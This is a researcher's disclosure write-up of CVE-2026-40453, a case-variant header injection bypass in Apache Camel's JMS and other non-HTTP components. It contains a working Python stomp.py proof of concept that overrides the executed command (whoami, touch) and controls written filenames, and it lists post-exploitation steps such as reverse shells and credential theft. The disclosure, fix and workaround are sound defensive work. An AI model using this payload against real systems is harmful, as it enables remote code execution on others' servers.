TL;DR
In early 2025, the Apache Camel team patched CVE-2025-27636 — a header injection bug where case-variant headers like CAmelExecCommandExecutable bypassed the filter and overrode internal Camel behavior. The fix added setLowerCase(true) to HttpHeaderFilterStrategy.
But the same fix was never applied to five non-HTTP components, including JMS. I confirmed that an attacker with JMS producer access could inject case-variant headers and achieve remote code execution and arbitrary file write.
Apache assigned this CVE-2026-40453 and credited me for the discovery.
Background: What Was CVE-2025-27636?
Apache Camel uses internal headers prefixed with Camel to control component behavior:
CamelExecCommandExecutable— tellscamel-execwhich command to runCamelFileName— tellscamel-filewhat filename to writeCamelBeanMethodName— tellscamel-beanwhich method to invoke
These headers are powerful — they override what’s hardcoded in the route configuration. Camel’s HeaderFilterStrategy is supposed to block external messages from injecting them by filtering out anything starting with Camel or camel.
The problem? The filter was case-sensitive, but Camel stores Exchange headers in a CaseInsensitiveMap. So if you sent CAmelExecCommandExecutable, the filter wouldn’t catch it (doesn’t start with exact Camel), but when the exec component later called getHeader("CamelExecCommandExecutable"), the case-insensitive map happily returned the attacker’s value.
The fix for CVE-2025-27636 added setLowerCase(true) to HttpHeaderFilterStrategy, normalizing all header names to lowercase before filtering.
Problem solved — for HTTP only.
The Gap I Found
After reading the CVE-2025-27636 advisory and the patch, one question came to mind: what about non-HTTP entry points?
Apache Camel is a massive codebase — hundreds of components across thousands of files. Manually tracing every HeaderFilterStrategy implementation would take days. So I used LLM-based tools to scan and map the codebase: identifying all classes that extend DefaultHeaderFilterStrategy, checking which ones called setLowerCase(true), and mapping the data flow from external message ingestion through the filter to the Exchange. This let me quickly narrow down from 22 implementations to the five that were missing the fix.
The LLM-assisted audit flagged five strategies that did not call setLowerCase(true):
| Component | Filter Strategy | Status |
|---|---|---|
| camel-jms | JmsHeaderFilterStrategy |
VULNERABLE |
| camel-jms (classic) | ClassicJmsHeaderFilterStrategy |
VULNERABLE |
| camel-sjms | SjmsHeaderFilterStrategy |
VULNERABLE |
| camel-coap | CoAPHeaderFilterStrategy |
VULNERABLE |
| camel-google-pubsub | GooglePubsubHeaderFilterStrategy |
VULNERABLE |
The vulnerable code in JmsHeaderFilterStrategy.java:
public JmsHeaderFilterStrategy(boolean includeAllJMSXProperties) {
// setLowerCase(true) is MISSING — this is the bug
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH); // ["Camel", "camel"]
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
}
Compare with the already-patched HttpHeaderFilterStrategy.java:
public HttpHeaderFilterStrategy() {
setLowerCase(true); // THIS LINE BLOCKS CASE VARIANTS
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
}
One missing line. That’s all it took.
How the Attack Works
The setup
A typical Camel application with a JMS consumer route:
from("jms:queue:exec-queue")
.to("exec:echo?args=LEGITIMATE_OUTPUT");
This listens on a JMS queue and runs echo LEGITIMATE_OUTPUT. The developer never intended the command to be controllable. We used Camel’s default configuration — no custom header filter. Camel internally creates JmsHeaderFilterStrategy for every JMS endpoint automatically.
The bypass chain
Step by step, here’s what happens when an attacker sends a crafted JMS message:
1. Attacker sends a JMS message to exec-queue with property CAmelExecCommandExecutable: whoami
2. Camel’s JmsEndpoint receives the message. JmsBinding iterates over JMS properties and calls JmsHeaderFilterStrategy.applyFilterToExternalHeaders() on each
3. The filter checks: does "CAmelExecCommandExecutable" start with "Camel" or "camel"? No — it starts with "CAmel". The header passes through
4. The header enters the Exchange’s CaseInsensitiveMap
5. When the message reaches camel-exec, DefaultExecBinding calls getHeader("CamelExecCommandExecutable") — the case-insensitive map matches and returns the attacker’s value
6. whoami runs instead of echo
Why you can’t disable header override
This is important: the header-based override is hardcoded and cannot be disabled. In DefaultExecBinding.java:
String cmd = getAndRemoveHeader(exchange.getIn(),
EXEC_COMMAND_EXECUTABLE, // "CamelExecCommandExecutable"
endpoint.getExecutable(), // fallback: configured command
String.class);
If the header exists, it wins. There’s no ignoreHeaders or disableHeaderOverride option. The same pattern exists in camel-file (CamelFileName), camel-sql (CamelSqlQuery), camel-bean (CamelBeanMethodName), camel-language (CamelLanguageScript), and camel-xslt (CamelXsltResourceUri).
Proof of Concept
Test environment
| Component | Version |
|---|---|
| Apache Camel | 4.18.1 |
| Message Broker | ActiveMQ Classic 5.18.5 (Docker) |
| JMS Client | activemq-client-jakarta 5.18.5 |
| Java | OpenJDK 21 |
| OS | Ubuntu (Azure VM) |
| Attack Tool | Python 3 + stomp.py (STOMP protocol, port 61613) |
The attacker script
From a separate machine — no access to the Camel application or server:
import stomp
conn = stomp.Connection([('target-broker', 61613)])
conn.connect('admin', 'admin', wait=True)
# RCE: override echo with whoami
conn.send('/queue/exec-queue', 'payload', headers={
'CAmelExecCommandExecutable': 'whoami',
'CAmelExecCommandArgs': ' '
})
# RCE: create file on disk
conn.send('/queue/exec-queue', 'payload', headers={
'CAmelExecCommandExecutable': 'touch',
'CAmelExecCommandArgs': '/tmp/rce-proof'
})
# File write: control output filename
conn.send('/queue/file-queue', 'ATTACKER_CONTENT', headers={
'cAmelFileName': 'hacked.txt'
})
Results
| Test | What Happened | Status |
|---|---|---|
| Header Bypass | CAmelExecCommandExecutable entered Exchange, getHeader() returned attacker value |
CONFIRMED |
| RCE (whoami) | whoami ran instead of echo, returned azureuser |
CONFIRMED |
| RCE (touch) | touch /tmp/rce-proof ran, file created on server |
CONFIRMED |
| File Write | File written with attacker-chosen name hacked.txt |
CONFIRMED |
Server logs confirmed the override
Baseline (normal behavior):
ExecProducer - Executing ExecCommand [executable=echo, args=[LEGITIMATE_OUTPUT]]
stdout : LEGITIMATE_OUTPUT
[OK] Legitimate echo ran
Attack (command overridden):
ExecProducer - Executing ExecCommand [executable=whoami, args=[]]
stdout : azureuser
[!] COMMAND OVERRIDDEN — attacker's command ran!
STOMP is not the only vector
I used STOMP in the PoC because it’s convenient, but disabling STOMP does not fix the issue. The attack works over any protocol that can set JMS message properties:
- OpenWire (port 61616) — always enabled since the Camel app itself connects over it
- AMQP (port 5672)
- ActiveMQ web console (port 8161)
The fix must be in Camel’s filter code, not at the network level.
Real-World Impact
With confirmed RCE, an attacker who can produce messages to a broker consumed by a vulnerable Camel route could:
- Run a reverse shell for interactive access
- Read sensitive files — credentials, API keys, database configs
- Write SSH authorized_keys for persistent access
- Drop web shells or cron jobs as backdoors
- Overwrite application configuration to alter behavior
The “Medium” severity rating makes sense because exploitation requires JMS producer access to the broker. But in many enterprise environments, message brokers are shared infrastructure — multiple teams and services publish to the same broker, making this more realistic than it might seem.
Disclosure Timeline
| Date | Event |
|---|---|
| April 11, 2026 | Reported to Apache Security Team with full PoC and report |
| April 11, 2026 | Apache Security Team forwarded report to Apache Camel PMC |
| April 13, 2026 | Apache Camel PMC confirmed it as a security vulnerability |
| April 27, 2026 | Fix released, CVE-2026-40453 published, credited as discoverer |
JIRA: CAMEL-23313
The Fix
The fix is one line per component — add setLowerCase(true) to all five vulnerable HeaderFilterStrategy implementations, matching what was already done for HTTP. Once enabled, CAmelExecCommandExecutable gets normalized to camelexeccommandexecutable before filtering, the match succeeds, and the header is blocked.
Upgrade to 4.20.0, 4.18.2, or 4.14.6.
As a temporary workaround, strip suspicious headers in your routes:
from("jms:queue:my-queue")
.removeHeaders("*amel*")
.to("exec:mycommand");
Lessons Learned
Incomplete patches are a goldmine. When a vulnerability is fixed in one component, always check if the same pattern exists elsewhere. The CVE-2025-27636 fix only touched HTTP. Five other components had the exact same bug.
Non-HTTP entry points get overlooked. Security researchers focus on HTTP. JMS, CoAP, and Pub/Sub components get far less scrutiny — but they can be just as dangerous when they feed into the same internal header system.
Case-insensitive storage + case-sensitive filtering = trouble. This is a general anti-pattern worth hunting for in other projects. Anytime data enters a case-insensitive structure but is validated by a case-sensitive check, there’s a potential bypass.
Audit the automatic defaults. Camel applies JmsHeaderFilterStrategy automatically — developers never explicitly opt in. And camel-exec always reads the command header with no way to disable it. These invisible defaults create attack paths developers don’t know they’re exposed to.